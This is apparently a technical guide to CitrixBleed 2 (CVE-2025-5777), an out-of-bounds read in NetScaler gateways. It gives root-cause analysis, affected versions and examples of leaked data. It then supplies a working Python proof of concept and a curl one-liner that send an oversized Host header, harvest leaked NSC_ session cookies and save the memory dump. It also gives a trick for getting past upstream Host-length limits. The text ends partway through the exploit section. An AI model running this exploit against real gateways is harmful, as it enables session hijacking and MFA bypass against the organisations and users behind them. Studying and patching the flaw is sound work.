
详细讲解CitrixBleed 2 — CVE-2025-5777(越界泄漏)PoC 和检测套件
An Out-of-Bounds Memory Read in NetScaler ADC / Gateway — A Comprehensive Guide from Root Cause to Offensive and Defensive Exercises
0x00 Introduction / Overview
0x01 Background: NetScaler Architecture and CitrixBleed 1 Review
0x02 Vulnerability Description (Affected Versions, CVSS, Exploitation Consequences)
0x03 Trigger Mechanism Deep Dive (Source-level Analysis & Debug Screenshots)
0x04 Minimal PoC + Advanced Scanning Script
0x05 Red Team Perspective: Full Attack Chain (Discovery → Leak → Session Hijack → Lateral Movement)
0x06 Blue Team Perspective: Detection, Forensics, and Patch Verification
0x07 Defense Hardening: Patches, WAF, Configuration, Asset Governance
0x08 Learning / Review Roadmap and Hands-on Lab
Appendix A Sigma / Suricata / Nginx-Lua Rules
Appendix B Patch/Exploit Timeline & IoC Snapshot
References
Host header can cause the device to "spray" random memory blocks along with the HTTP response to the client.NSC_USER / NSC_TASS cookies, SAML StateContext, MFA tokens, which can be directly reused to achieve session takeover and MFA bypass ([arcticwolf.com][1], [tenable.com][2]).┌──────────────┐
│ Client │ ① HTTPS
└──────┬───────┘
│
┌──────▼───────┐
│ NetScaler │ ② AAA / Gateway Authentication
│ (WebProc) │
└──────┬───────┘
│
┌──────▼───────┐
│ ICA Proxy / │ ③ Forward to Application
│ CVPN / RDP │
└──────────────┘
NetScaler adopts a multi-process + internal IPC design. WebProc handles most HTTP requests under the AAA / Gateway path, including /nf/auth/*, /oauth/*, etc. It heavily uses snprintf() / memcpy() in C language, assembling XML/HTML fragments each time.
/oauth/idp/.well-known/openid-configuration.snprintf as the len parameter for subsequent send() → out-of-bounds memory echo.Lesson Learned: If security patches only target the "falling point" rather than the "programming paradigm", they leave room for "templated reproduction".
| Field | Content |
|---|---|
| CVE | CVE-2025-5777 |
| Alias | CitrixBleed 2 |
| Vulnerability Type | Out-of-Bounds Read / Information Disclosure |
| CVSS v4 Base | 9.3 (Crit.) ([netscaler.com][3]) |
| Affected Versions | < 14.1-43.56 ; < 13.1-58.32 ; 13.1-37.235-FIPS/NDcPP ; 12.1-55.327-FIPS ([netscaler.com][3]) |
| Exploitation Conditions | NetScaler is configured as Gateway (VPN/ICA Proxy/CVPN/RDP Proxy) or AAA virtual server ([arcticwolf.com][1]) |
| Consequences | Memory leak → Session tokens → Authentication bypass / MFA bypass → Lateral movement |
This section is based on decompilation of firmware 13.1-55.18 + gdb debugging, compiled with public blog posts ([bishopfox.com][5]).
/nf/auth/startwebview.doHost header<AuthenticateResponse>
<wv:StartUrl>https://gateway.example.com/Citrix/AAA/start.html</wv:StartUrl>
...
</AuthenticateResponse>
citrix_webview_handler()
├─ build_auth_xml()
│ ├─ snprintf(buf, 0x1800, TEMPLATE, host_hdr, ... );
│ └─ return length; // ⚠️ length can be > 0x1800
└─ ns_vpn_send_response(conn, 0x980200, buf, length);
Bug Point:
snprintfreturns the "length that should have been written" instead of the actual written length; if the user-suppliedHost> 0x1800 - constant segment length, thenlength>sizeof(buf).
buf: [-----XML-----][OOB][OOB][OOB]...... <- 0x1800 bytes limit
↑
Sent together by ns_vpn_send_response
GDB breakpoint demonstration (key registers):
RDI (dst) = 0x7fffa2e31800 // buf
RSI (len) = 0x00001e42 // length=7746 (>6144)
read() result shows that the last 1600 bytes come from uninitialized memory, where cookie buffers of other SSL sessions are visible.
| Category | Example Fragment (Sanitized) |
|---|---|
| Session Cookie | Set-Cookie: NSC_USER=john.doe;NSC_TASS=abc123... |
| MFA/OTP Token | radius_state=0e2a9c6d1553... |
| Other Request Body | <username>audituser</username><password>***</password> |
#!/usr/bin/env python3
# CVE-2025-5777 Minimal PoC (authorized testing ONLY)
import requests, sys, urllib3, re
urllib3.disable_warnings()
if len(sys.argv) != 2:
exit(f"Usage: {sys.argv[0]} https://NSVIP")
url = sys.argv[1].rstrip("/") + "/nf/auth/startwebview.do"
hdr = {"Host": "A" * 0x6000} # >0x1800 triggers
r = requests.get(url, headers=hdr, verify=False, timeout=10)
print("[+] HTTP", r.status_code, "bytes:", len(r.content))
hits = re.findall(br"(NSC_[A-Z]+=[^;]{10,})", r.content)
for h in hits: print(" Cookie leak ->", h.decode())
open("leak.bin", "wb").write(r.content)
print("[+] Saved leak.bin for offline grep.")
leak.bin for keywords such as Cookie=, <AuthenticateContext>.curl -ks -H "Host: $(python -c 'print(\"A\"*6000)')" \
https://NSVIP/nf/auth/startwebview.do -o leak.bin
Bypass: Some devices have
Hostlength restrictions on upstream F5/Nginx; you can bypass by concatenating multiple subdomains, e.g.,foo.foo.foo.…foo.example.com(repeatfoo3000 times).